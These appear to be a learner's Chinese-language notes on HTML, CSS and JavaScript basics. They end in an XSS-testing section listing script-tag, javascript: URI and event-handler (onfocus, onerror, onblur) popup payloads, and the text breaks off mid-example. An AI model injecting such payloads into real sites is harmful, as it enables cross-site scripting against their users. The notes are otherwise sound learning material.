代码

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>菜鸟教程(runoob.com)</title>
</head>
<body>
 
<h1>我的第一个标题</h1>
 
<p>我的第一个段落。</p>
 
</body>
</html>

上面的意思

<!DOCTYPE html> 声明为 HTML5 文档
<html> 元素是 HTML 页面的根元素
<head> 元素包含了文档的元（meta）数据，如 <meta charset="utf-8"> 定义网页编码格式为 utf-8。
<title> 元素描述了文档的标题
<body> 元素包含了可见的页面内容

HTML术语

代码

1	<img src="images/firefox-icon.png" alt="测试图片">

<>：叫标签

标签就是用来标记HTML元素的

img：叫元素

src：叫属性

为HTML元素提供各种附加信息的就是HTML属性

常用属性

属性	描述
width	宽度
height	高度
bgcolor	背景颜色属性将背景设置为某种颜色属性值可以是十六进制数,RGB 值或颜色名

HTML 基础

HTML字体

<font> 规定文本的字体、字体尺寸、字体颜色

可选的属性

属性	值	描述
color	rgb(x,x,x)#xxxxxxcolorname	不赞成使用。请使用样式取代它。规定文本的颜色。
face	font_family	不赞成使用。请使用样式取代它。规定文本的字体。
size	number	不赞成使用。请使用样式取代它。规定文本的大小。

代码

1
2
3

<font size="3" color="red">This is some text!</font>
<font size="2" color="blue">This is some text!</font>
<font face="verdana" color="green">This is some text!</font>

结果

This is some text!
This is some text!
This is some text!

HTML 标题

HTML 标题（Heading）是通过<h1> - <h6> 标签来定义的

1
2
3

<h1>这是一个标题</h1>
<h2>这是一个标题</h2>
<h3>这是一个标题</h3>

HTML 段落

HTML 段落是通过标签
来定义的，通常用于指定常规的文本内容，浏览器会自动地在段落的前后添加空行

1 2	<p>这是一个段落。</p> <p>这是另外一个段落。</p>

HTML 链接

1	<a href="https://www.runoob.com">这是一个链接</a>

HTML 图像

1	<img loading="lazy" src="/images/logo.png" width="258" height="39" />

HTML 文本格式化标签

<b>定义粗体文本。
<big>定义大号字。
<em>定义着重文字。
<i>定义斜体字。
<small>定义小号字。
<strong>定义加重语气。
<sub>定义下标字。
<sup>定义上标字。
<ins>定义插入字。
<del>定义删除字。
<s>不赞成使用。使用 <del> 代替。
<strike>不赞成使用。使用 <del> 代替。
<u>不赞成使用。使用样式（style）代替。

HTML 超链接（链接）

链接的 HTML 代码很简单。它类似这样

1	<a href="url">链接文本</a>

target属性：他可以设置我们点击这个链接会新增一个页面打开这个超链接

1	<a href="https://www.runoob.com/" target="_blank" rel="noopener noreferrer">访问菜鸟教程!</a>

HTML 图像

显示图像

图像标签 <img>和源属性Src

1	<img src="url">

Alt属性在浏览器无法载入图像时，替换文本属性告诉读者她们失去的信息。此时，浏览器将显示这个替代性的文本而不是图像。为页面上的图像都加上替换文本属性是个好习惯

1	<img src="boat.gif" alt="Big Boat">

设置图像的高度与宽度

1	<img src="pulpit.jpg" alt="Pulpit rock" width="304" height="228">

背景图片

1
2
3

<body  background="照片名">
<h1>你好<h1>
</body>

效果

背景照片方法
更多查看https://www.w3school.com.cn/html/html_images.asp

HTML 表格

表格用<table> 标签定义，有若干行 <tr> 标签定义，每行被分割为若干单元格 <td> 标签定义

简单演示

<table>
    <tr>
        <td>row 1, cell 1</td>
        <td>row 1, cell 2</td>
    </tr>
    <tr>
        <td>row 2, cell 1</td>
        <td>row 2, cell 2</td>
    </tr>
</table>

结果

row 1, cell 1	row 1, cell 2
row 2, cell 1	row 2, cell 2

border边框属性

<table border="5">
    <tr>
        <td>Row 1, cell 1</td>
        <td>Row 1, cell 2</td>
    </tr>
</table>

Row 1, cell 1

Row 1, cell 2

### 长度和宽度和颜色

代码

<table border="5" width="20" height="10" bgcolor="#777777">
    <tr>
        <td></td>
    </tr>
</table>

效果

`<tr>`和`<td>`

有若干行 <tr> 标签定义，每行被分割为若干单元格 <td> 标签定义

演示1

代码

<table border="5" width="20" height="200">
    <tr bgcolor="#b4654d">
        <td></td>
    </tr>
    <tr>
        <td></td>
    </tr>
</table>

效果

演示2

代码

<table border="5" width="20" height="200" >
    <tr>
        <td bgcolor="#777777"></td>
        <td></td>
    </tr>
</table>

效果

<caption>xxx</caption>表格的标题

代码

<table border="1">
  <caption>aaaaaaa</caption>
  <tr>
    <th>Month</th>
    <th>Savings</th>
  </tr>
  <tr>
    <td>January</td>
    <td>$100</td>
  </tr>
  <tr>
    <td>February</td>
    <td>$50</td>
  </tr>
</table>

aaaaaaa
Month	Savings
January	$100
February	$50

用rowspan属性跨行或跨列的表格单元格

代码1

<h4>单元格跨两行:</h4>
<table border="1">
<tr>
  <th>First Name:</th>
  <td>Bill Gates</td>
</tr>
<tr>
  <th rowspan="2">Telephone:</th>
  <td>555 77 854</td>
</tr>
<tr>
  <td>555 77 855</td>
</tr>
</table>

First Name:	Bill Gates
Telephone:	555 77 854
Telephone:	555 77 855

代码2

<table border="1">
<tr>
  <th>Name</th>
  <th colspan="3">Telephone</th>
</tr>
<tr>
  <td>Bill Gates</td>
  <td>555 77 854</td>
  <td>555 77 855</td>
  <td>555 77 855</td>
</tr>
</table>

Name	Telephone
Bill Gates	555 77 854	555 77 855	555 77 855

表格内的标签

代码

<table border="1">
<tr>
  <td>
   <p>这是一个段落</p>
   <p>这是另一个段落</p>
  </td>
  <td>这个单元格包含一个表格:
   <table border="1">
   <tr>
     <td>A</td>
     <td>B</td>
   </tr>
   <tr>
     <td>C</td>
     <td>D</td>
   </tr>
   </table>
  </td>
</tr>
<tr>
  <td>这个单元格包含一个列表
   <ul>
    <li>apples</li>
    <li>bananas</li>
    <li>pineapples</li>
   </ul>
  </td>
  <td>HELLO</td>
</tr>
</table>

这是一个段落

这是另一个段落

这个单元格包含一个表格:

A	B
C	D

这个单元格包含一个列表

apples
bananas
pineapples

HELLO

## HTML 区块

代码

1	<div style="width: 要指定宽度rem; height: 要指定宽度rem;border: 要指定边框px 要指定的颜色 solid"> 这是一个字</div>

这是一个字

HTML表单

下面是光介绍HTML的，没有交换过程

常见的表单的标签

标签	作用
`<form>`	定义表单
`<input>`	输入区域
`<select>`	选项组
`<option>`	下拉列表中的选项在`<select>` 选项组里面
`<textarea>`	文本域
`<legend>`	域标题

`<form>`标签

常见的属性	作用
`action`	指定叫表单提交那
`method`	的 HTTP 方法比如`get` `post`
`target`	提交后在新窗口中打开

表单定义

<form> 定义表单
表单是一个包含表单元素的区域

action属性指定叫表单提交那

用action属性指定发往那去
下面这样是提交到当前页面

1
2
3

<form action"#">
    .......
</form>

下面是提交到a.php里面

1
2
3

<form action"a.php">
    .......
</form>

method属性指定get或post

下面提交的时候指定的是get

1
2
3

<form action"a.php" method="get">
    .......
</form>

target属性添加在另外一个窗口打开

实咧

input下面会详细说明

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>
                                <!--主要代码在这里-->
    <form action="#" method="get" target="_blank" >
        <input type="submit"  />
    </form>

</body>
</html>

enctype属性

enctype 属性可设置或返回编码格式内容的 MIME 类型。

如果表单没有 enctype 属性，那么当提交文本时的默认值为“application/x-www-form-urlencoded”。

当输入类型为“file”时，值为“multipart/form-data”

enctype 属性可以是以下值：

值	描述
application/x-www-form-urlencoded	数据在发送前所有字符都会被编码 (默认)
multipart/form-data	没有字符被编码。这个值用于控制表单文件的上传
text/plain	空格转换为”+”符号，但没有特殊字符编码

`<input>`标签常见的属性

常见的属性

常见的属性	作用
`type`	创建单行文本输入框
`name`	当前input起个名字，用作表单参数
`value`	定义input元素的默认值
`maxlength`	规定input元素可输入最长字符数
`width`	下拉列表中的选项在`<select>` 选项组里面
`width`	宽度
`height`	高度

`<input>`标签的type属性

应为type属性很重要我下面就介绍一下type属性

type值	作用
`button`	按钮
`submit`	提交按钮
`text`	输入框
`file`	文件上传
`password`	密码输入框
`hidden`	定义隐藏的输入字段
`image`	定义图像形式的提交按钮
`checkbox`	定义复选框
`radio`	单选框
`reset`	重置
`tel`	手机号码
`email`	邮箱地址
`number`	数字
`date`	日期

下面我就演示几个

“button” | 按钮

实咧

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>

    <form>
        <!--主要代码在这里-->
        <input type="button" >
    </form>

</body>
</html>

上面的结果可以看见他里面没有任何字我们可以用value属性来添加字
实咧

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>

    <form>
        <!--主要代码在这里-->
        <input type="button" value="点击" >
    </form>

</body>
</html>

“submit” 提交按钮

他也可以用value来修改提交的那个字
实咧

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>

    <form>
        <!--主要代码在这里-->
        <input type="submit"  >
    </form>

</body>
</html>

“radio” 单选框

实咧

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>

    <form>
        <!--主要代码在这里-->
        <input type="radio" >
    </form>

</body>
</html>

“checkbox” 定义复选框

实咧

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>

    <form>
        <!--主要代码在这里-->
        <input type="checkbox" >
    </form>

</body>
</html>

“text” 文本

text 定义单行的输入字段，用户可在其中输入文本。默认宽度为 20 个字符。
代码

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>

    <form>
        <!--主要代码在这里-->
        <input type="text" >
    </form>
    
</body>
</html>

“file” 文件

实咧

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>

    <form>
        <!--主要代码在这里-->
        <input type="file" >
    </form>

</body>
</html>

“date” 日期

实咧

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>

    <form>
        <!--主要代码在这里-->
        <input type="date" >
    </form>

</body>
</html>

`<input>`标签的name属性

name 属性规定 input 元素的名称
简单来说就是提交的时候知道是那个参数提交的他就是定义猜数名的
比如提交一个用户名后端是怎么知道是那个输入框的内容就用name来指定名

实例
他就是我们的参数

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>
                                
    <form action="#" method="get" >
                            <!--主要代码在这里-->
        <input type="text"  name="user" /> <br/>
                            <!--主要代码在这里-->
        <input type="text"  name="passwd" /><br/>
        <input type="submit" />
    </form>

</body>
</html>

`<label>`元素的说明

HTML <label> 元素（标签）表示用户界面中某个元素的说明

代码

<html>
<head>
<meta charset="utf-8">
<title>文件上发</title>
</head>
<body>

<form action="a.php" method="post" enctype="multipart/form-data">
    <label for="file">要上发的文件名：</label>
    <input type="file" name="wj" id="file"><br>
    <input type="submit" name="submit" value="点击提交">
</form>

</body>
</html>

`<select>`选项组和`<option>`下拉列表中的选项

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>

    <form>
        <!--主要代码在这里-->
        <select>
            <option>www.baidu.com</option>
            <option>bing.com</option>
            <option>kali.org</option>
        </select>
    </form>

</body>
</html>

实咧

`<textarea>` 文本域

实咧

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>

    <form>
        <!--主要代码在这里-->
        <textarea cols="30" rows="30" >默认字</textarea>
    </form>

</body>
</html>

CSS基础

`<style>`标签介绍

<style> 标签定义 HTML 文档的样式信息

简单演示代码

<!DOCTYPE html>
<html>
<head>
	<meta http-equiv="Content-Type" content="text/html;charset=utf-8">
	<title>测试XSS测试</title>

	<style>
		/*这个h1就是选择器选择的是h1标签*/
		h1{
			color: rgb(223, 79, 79);  /*color设置颜色*/
		}

	</style>
</head>
<body>
	
	<h1>我在学习<h1/>

</body>
</html>

结果

CSS的3种导入方式

外部样式导入

创建一个b.css文件里面是: .abc{color: blue;}

在html里调用他：<link href="b.css" type="text/css" rel="stylesheet">意思是href要指向一个css文件

内部样式

就是在html内部引用

代码

<!DOCTYPE html>
<html>
<head>
	<meta http-equiv="Content-Type" content="text/html;charset=utf-8">
	<title>测试XSS测试</title>

	<style>
		/*这个h1就是选择器选择的是h1标签*/
		h1{
			color: rgb(223, 79, 79);  /*color设置颜色*/
		}

	</style>
</head>
<body>
	
	<h1>我在学习<h1/>

</body>
</html>

行内样式：在标签元素中

<!DOCTYPE html>
<html>
<head>
	<meta http-equiv="Content-Type" content="text/html;charset=utf-8">
	<title>测试XSS测试</title>

</head>
<body>
	
	<h1 style="color: red">我在学习<h1/>

</body>
</html>

选择器

类选择器

定义类

这个abc就是类的名字

1
2
3

<div class="abc" >      
这是一个字
</div>

调用

<style >           
.abc{color: 要修改的颜色;}
</style>


<div class="abc" >      

</div>

JavaScript基础

我之前看过教程的js然后过段时间就忘了，现在我在B站上了一个教程叫笔记写下来了

JavaScript常用方法

方法	作用
substring()	方法用于提取字符串中介于两个指定下标之间的字符
lastIndexOf()	方法可返回一个指定的字符串值最后出现的位置，在一个字符串中的指定位置从后向前搜索
indexOf()	方法可返回某个指定的字符串值在字符串中首次出现的位置

substring()

方法用于提取字符串中介于两个指定下标之间的字符

语法

1	xxxx.substring(start,stop)

参数	描述
start	必需。一个非负的整数，规定要提取的子串的第一个字符在 stringObject 中的位置。
stop	可选。一个非负的整数，比要提取的子串的最后一个字符在 stringObject 中的位置多 1。如果省略该参数，那么返回的子串会一直到字符串的结尾。

例子 1

演示

<script type="text/javascript">

var str="Hello world!"
document.write(str.substring(3))

</script>

结果

lo world!

例子 2

<script type="text/javascript">

var str="Hello world!"
document.write(str.substring(3,7))

</script>

结果

lo w

lastIndexOf()

方法可返回一个指定的字符串值最后出现的位置，在一个字符串中的指定位置从后向前搜索

格式

1	xxxx.lastIndexOf(searchvalue,fromindex)

searchvalue必需。规定需检索的字符串值
fromindex 可选的整数参数。规定在字符串中开始检索的位置。它的合法取值是 0 到 stringObject*.length - 1。如省略该参数，则将从字符串的最后一个字符处开始检索

演示

<script>

    var file='webshell.php';

    document.write(file.substring(file.lastIndexOf(".")));
</script>

结果

.php

indexOf()

indexOf()：方法可返回某个指定的字符串值在字符串中首次出现的位置

格式

1	xxx.indexOf(searchvalue,fromindex)

searchvalue 必需。规定需检索的字符串值。
fromindex 可选的整数参数。规定在字符串中开始检索的位置。它的合法取值是 0 到 stringObject.length - 1。如省略该参数，则将从字符串的首字符开始检索。

演示

<script>

    var str=".jpg|.png|.gif";
    document.write(str.indexOf(".jpg"));
    document.write(str.indexOf("abc"));
    document.write(str.indexOf(".gif"));
</script>

结果

1
2
3

0
-1
10

定义javascript

下面是js的用<script>标签来定义js

1
2
3

<script type="text/javascript">
//这里面是js的代码
</script>

输出

alert()和window.alert()弹出警告窗

alert()和window.alert()是一样的只是省略

alert()是弹出警告窗口

咧

代码

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>
<script type="text/javascript">
     alert("你好");
</script>

</body>
</html>

window.alert()

document.write()在页面中打印

document.write()在页面中输出出来
咧

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>

<script type="text/javascript">
     document.write("你好");
</script>

</body>
</html>

console.log()向控制台输出

代码

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>

<script type="text/javascript">
     console.log("你好");
</script>

</body>
</html>

变量

在js里面用var来声明变量
语法

1	var 变量名=他的值;

咧
代码

下面的代码是声明了一个a变量值是你好用alert()输出出来

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>

<script type="text/javascript">

    var a = "你好";
    alert(a);
</script>

</body>
</html>

数据类型

null	空值，表示非对象
undefined	未定义的值，表示未赋值的初始化值
number	数字，数学运算的值
string	字符串，表示信息流
boolean	布尔值，逻辑运算的值
object	对象，表示复合结构的数据集

检查是什么数据类型用typeof 变量名

咧

下面是用typeof检查a的变量的类型

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>

<script type="text/javascript">

    var a = "你好";
    alert(typeof a);
</script>

</body>
</html>

类型强行转换

转换成字符串

toString()方法转

语法

1	数字.toString() //叫数字转换成字符串但是要赋值给其他的变量

咧

下面代码是叫a转换成字符串赋值给b

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>

<script type="text/javascript">

    var a = 123;
    var b=a.toString();
    alert(typeof b);
</script>

</body>
</html>

String()函数转

语法

1	String(数字)

咧
下面代码是叫a转换成字符串赋值给b

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>

<script type="text/javascript">

    var a = 123;
    var b=String(a);
    alert(typeof b);
</script>

</body>
</html>

String()函数和toString()方法区别

toString()方法不能转换比如null等字符串但是String()函数是可以转换的

字符转换数字

Number()函数进行转换

语法

1	Number(字符串)

咧

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>

<script type="text/javascript">

    var a = "123";
    var b=Number(a);
    alert(typeof b);
</script>

</body>
</html>

parseInt()和函数

比如一个字符串是”123px”后面有px这样直接用Number()函数就会报错
我们就可以用parseInt()来读取前面的，
咧

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>

<script type="text/javascript">

    var a = "123px";
    var b=parseInt(a);
    console.log(typeof b);
    console.log(b);
</script>

</body>
</html>

其他进制数

0x表示16进行
0表示8进行
0b表示2进行

咧

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>

<script type="text/javascript">

    var a =0xff;
    var b =055;
    var c =0b10; 
    console.log(a);
    console.log(b);
    console.log(c);
</script>

</body>
</html>

运算符

算术运算符

赋值运算符

逻辑运算符

1
2
3

! 非运算符
&& 与运算符
|| 或运算符

比较运算符

三元运算符

语法

1	条件(真或假)?语法1:语句2; //真执行语法1 ，假执行语句2

咧

下面条件是true执行语句1

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>

<script type="text/javascript">

true?alert("语句1"):alert("语句2");

</script>

</body>
</html>

结果

Unicode编码

Unicode编码表http://www.52unicode.com/

字符串输出Unicode编码要在编码前写上\u
比如我用Unicode编码打印出来1234
代码

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>

<script type="text/javascript">
    var a="\u0031\u0032\u0033\u0034";

    console.log(a);
</script>

</body>
</html>

结果

if语句

语法

if (条件){
    当条件为 true 时执行的代码
}
else{
    当条件不为 true 时执行的代码
}

if语句的使用和C语言一样

switch语句

语法

switch(n)
{
    case 1:
        执行代码块 1
        break;
    case 2:
        执行代码块 2
        break;
    default:
        与 case 1 和 case 2 不同时执行的代码
}

也和C语言一样

循环语句

while循环

语法

while (条件)
{
    需要执行的代码
}

也是和C语言的一样

do/while 循环

语法

do
{
    需要执行的代码
}
while (条件);

和C语言一样

for循环

for (语句 1; 语句 2; 语句 3)
{
    被执行的代码块
}

和C语言一样

break和continue

break;是结束循环
continue;是结束一次循环

continue;实咧

下面但是if判断a等于2就执行continue;函数这个函数就会结束这一次循环，注意是一次

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>

<script type="text/javascript">

for(var a=0; a<5 ; a++ ){
    if (a==2){
        continue;
    }
    console.log(a);
}
</script>

</body>
</html>

结果

数组

数组定义和输出

1	var 变量名=['a','b','c','d'];

使用他

1	console.log(数组名[0]);

实例

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>

<script type="text/javascript">
    var a=['a','b','c','d'];
    console.log(a[0]);

</script>

</body>
</html>

数组内容修改

语法

1	数组名[位置]='要修改的内容'

实咧

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>

<script type="text/javascript">
    var a=['a','b','c','d'];
    a[0]='e';
    console.log(a[0]);

</script>

</body>
</html>

获得长度

语法

1	数组名.length

实咧

数组名.length他结果会输出数组里面的内容的个数
他的结果是4

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>

<script type="text/javascript">
    var a=['a','b','c','d'];
    console.log(a.length);

</script>

</body>
</html>

结果

输出数组最后的内容

语法
介绍.length是输出数组的内容的个数，然后我在减一就可以输出了

1	数组名[数组名.length-1]

实咧
下面我定义了a数组用获得数组的长度然后减一

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>

<script type="text/javascript">
    var a=['a','b','c','d'];
    console.log(a[a.length-1]);

</script>

</body>
</html>

结果

增加数组内容

加内容也很简单
语法
介绍用length是输出数组的内容的个数，数组又是从0开始的所以就可以添加了

1	数组名[数组名.length]="要添加的内容"

实咧

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>

<script type="text/javascript">
    var a=['a','b','c','d'];
    a[a.length]='e';
    console.log(a[a.length-1]);

</script>

</body>
</html>

结果

便利数组

事例

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>

<script type="text/javascript">
    var a=['a','b','c','d'];
    for(var i=0;i<=(a.length-1);i++){
        console.log(a[i]);
    }
</script>

</body>
</html>

清空数组

语法

1	数组名.length=0;

数组内置方法

查看官方操控文档
https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array

常用的数组内置方法

toString()数组方法的使用

toString()数组方法他会输出数组的内容
实咧

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>

<script type="text/javascript">
    var a=['a','b','c','d'];
    console.log(a.toString());
</script>

</body>
</html>

push()添加到数组的末尾

push() 方法将一个或多个元素添加到数组的末尾，并返回该数组的新长度。
实咧

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>

<script type="text/javascript">
    var a=['a','b','c','d'];
    a.push('e');
    console.log(a);
</script>

</body>
</html>

pop()删除数组的最后一个元素

pop()方法从数组中删除最后一个元素，并返回该元素的值。此方法更改数组的长度。
实咧

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>

<script type="text/javascript">
    var a=['a','b','c','d'];
    a.pop();
    console.log(a);
</script>

</body>
</html>

shift() 删除第一个元素

shift() 方法从数组中删除第一个元素，并返回该元素的值。此方法更改数组的长度。
实咧

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>

<script type="text/javascript">
    var a=['a','b','c','d'];
    a.shift();
    console.log(a);
</script>

</body>
</html>

unshift() 添加到数组的开头

unshift() 方法将一个或多个元素添加到数组的开头，并返回该数组的新长度(该方法修改原有数组)。
实咧

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>

<script type="text/javascript">
    var a=['a','b','c','d'];
    a.unshift('e');
    console.log(a);
</script>

</body>
</html>

reverse()组中元素的位置颠倒

reverse() 方法将数组中元素的位置颠倒，并返回该数组。数组的第一个元素会变成最后一个，数组的最后一个元素变成第一个。该方法会改变原数组

实咧

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>

<script type="text/javascript">
    var a=['a','b','c','d'];
    a.reverse() ;
    console.log(a);
</script>

</body>
</html>

sort()大小进行排序

sort() 方法用原地算法对数组的元素进行排序，并返回数组。默认排序顺序是在将元素转换为字符串，然后比较它们的UTF-16代码单元值序列时构建的

实咧

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>

<script type="text/javascript">
    var a=['b','a','d','e'];
    a.sort() ;
    console.log(a);
</script>

</body>
</html>

结果

concat()数组连接

concat() 方法用于合并两个或多个数组。此方法不会更改现有数组，而是返回一个新数组。
实咧

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>

<script type="text/javascript">
   var array1 = ['a', 'b', 'c'];
   var array2 = ['d', 'e', 'f'];
   var array3 = array1.concat(array2);

    console.log(array3);
</script>

</body>
</html>

slice()切割

slice() 方法返回一个新的数组对象，这一对象是一个由 begin 和 end 决定的原数组的浅拷贝（包括 begin，不包括end）。原始数组不会被改变。
实咧

 <html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>

<script type="text/javascript">
    var a=['b','a','d','e','f'];
    console.log(a.slice(2,4));
</script>

</body>
</html>

indexOf()和lastIndexOf()查询所在的位置

indexOf()是在前面开始查询
lastIndexOf()是在后面开始查询

lastIndexOf() 方法返回指定元素（也即有效的 JavaScript 值或变量）在数组中的最后一个的索引，如果不存在则返回 -1。从数组的后面向前查找，从 fromIndex 处开始。
indexOf()方法返回在数组中可以找到一个给定元素的第一个索引，如果不存在，则返回-1。

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>

<script type="text/javascript">
    var a=['a','b','c','d'];
    console.log(a.indexOf('b'));
</script>

</body>
</html>

函数

函数定义

语法

1
2
3

function  函数名(){
    执行语句。。。。。
}

arguments函数

arguments函数多个函数的参数

实咧
.length方法是获得他的长度的

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>

<script type="text/javascript">

    function  add(){
        console.log(arguments.length);
        console.log(arguments);
        
    }
    var a='abc';
    var b='def';
    var c='hij';
    add(a,b,c);

</script>

</body>
</html>

匿名函数

匿名函数就是不需要定义的函数名字叫做匿名函数

匿名函数格式

1
2
3

function(){
    执行语句。。。。。
}

变量调用匿名函数

实咧

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>

<script type="text/javascript">

    var a=function(a,b){
        console.log(a+b);
    }
    a(1,1);
</script>

</body>
</html>

自己调用匿名函数

格式
(整个函数)(参数)

实咧

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>

<script type="text/javascript">

    (function(a,b){
        console.log(a+b);
    })(1,1)
    
</script>

</body>
</html>

JavaScript面向对象

创建一个对象

语法

这个Object()对象

1	var a = new Object();

添加对象里面的属性值

//创建一个对象
var a = new  Object(); 
//添加对象里面的属性值 
a.name='abc';

读取对象

下面这个是整个读取

事例

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>

<script type="text/javascript">
    //创建一个对象
    var a = new  Object();  

    //添加对象里面的属性值
    a.name='abc';
    a.gender=123456;
    console.log(a);
    
</script>

</body>
</html>

读取指定的

实咧

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>

<script type="text/javascript">
    //创建一个对象
    var a = new  Object();  

    //添加对象里面的属性值
    a.name='abc';
    a.gender=123456;
    console.log(a.gender);
    
</script>

</body>
</html>

删除对象属性

语法

1	delete 对象名.属性名;

特殊的属性名

定义特殊的属性名

对象可以用数字属性名,要用[]来定义
语法

//创建一个对象
var a = new  Object(); 
//定义特殊的属性
a['123']=123;
//输出特殊的属性
console.log(a['123']);

实咧

<html>
<head>
    <meta charset="utf-8"/>
    <title>测试</title>
</head>
<body>

<script type="text/javascript">
    //创建一个对象
    var a = new  Object(); 
    //定义特殊的属性
    a['123']=123;
    //输出特殊的属性
    console.log(a['123']); 
    
</script>

</body>
</html>

JavaScript事件

测试常用的的标签

下面这个弹出是警告框
代码

1	<script>alert('a')</script>

下面这个是弹出确认框
代码

1	<script>confirm('xss');</script>

下面这个弹出来的是输入框
代码

1	<script>prompt('a')</script>

为协议弹窗

javascript:alert(1);是为协议，我们用这个在浏览器里面输入他就会弹出

然后回车，他就会弹窗

超链接`<a>`标签弹窗

下面这个<a>是定义超链接的
只要有人点击就会弹窗

1	<a href="javascript:alert(1);" >点我</a>

载入图形`<img>`标签弹窗

下面这个只能在IE浏览器6才能弹窗

1	<img src="javascript:alert(1);">

事件进行弹窗

事件属性名	作用
`onfocus`	获取到焦点时触发
`onerror`	事件会在文档或图像加载过程中发生错误时被触发
`onblur`	当用户离开执行一段Javascript代码
`onchange`	事件会在域的内容改变时发生
`onkeydown`	事件会在用户按下一个键盘按键时发生
`onkeyup`	事件会在键盘按键被松开时发生
`onclick`	事件会在对象被点击时发生
`onselect`	事件会在文本框中的文本被选中时发生
`oninput`	事件在用户输入时触发
`onmousemove`	事件会在鼠标指针移到指定的对象时发生

onerror

onfocus事件属性

onfocus 获取到焦点时触发
onfocus规定该事件发生时执行的 JavaScript

支持的HTML有

<a>, <acronym>, <address>, <area>, <b>, <bdo>, <big>, <blockquote>, <button>, 
<caption>, <cite>, <dd>, <del>, <dfn>, <div>, <dl>, <dt>, <em>, <fieldset>, 
<form>, <frame>, <frameset>, <h1> to <h6>, <hr>, <i>, <iframe>, <img>, <input>, 
<ins>, <kbd>, <label>, <legend>, <li>, <object>, <ol>, <p>, <pre>, <q>, 
<samp>, <select>, <small>, <span>, <strong>, <sub>, <sup>, <table>, <tbody>, 
<td>, <textarea>, <tfoot>, <th>, <thead>, <tr>, <tt>, <ul>, <var>

下面是我的测试

<input>标签表单元素弹窗
代码

1
2
3

<form>
		<input type="text" onfocus="alert(1)">
</form>

点击输入框就会弹窗

<a>标签定义超链接弹窗
代码

1	<a href="" onfocus="alert(1)" >点我</a>

点击就会弹窗

<select>标签定义选项列表弹窗
代码

<select  onfocus="alert(1)">
	  <option value ="a">a</option>
	  <option value ="b">b</option>
	</select>

点击就会弹窗

onerror事件属性

onerror 事件会在文档或图像加载过程中发生错误时被触发
支持该事件的 HTML 标签

1	<img>, <object>, <style>

下面是我的测试

<img>图片标签
我只要一打开就会弹窗因为加载一个没有的照片

onblur事件属性

onblur当用户离开执行一段Javascript代码

支持该事件的 HTML 标签

<a>, <acronym>, <address>, <area>, <b>, <bdo>, <big>, <blockquote>, 
<button>, <caption>, <cite>, <dd>, <del>, <dfn>, <div>, <dl>, <dt>, 
<em>, <fieldset>, <form>, <frame>, <frameset>, <h1> to <h6>, <hr>, <i>, 
<iframe>, <img>, <input>, <ins>, <kbd>, <label>, <legend>, <li>, 
<object>, <ol>, <p>, <pre>, <q>, <samp>, <select>, <small>, <span>, 
<strong>, <sub>, <sup>, <table>, <tbody>, <td>, <textarea>, <tfoot>, 
<th>, <thead>, <tr>, <tt>, <ul>, <var>

下面是我的测试

<input>标签表单元素弹窗

代码

1
2
3

<form>
	<input type="text" onblur="alert(1)">
</form>

当离开输入框的时候就会弹窗

onchange事件属性

onchange事件会在域的内容改变时发生
支持该事件的 HTML 标签

1	<input type="text">, <select>, <textarea>

下面是我的测试

<input>标签表单元素弹窗
代码

1
2
3

<form>
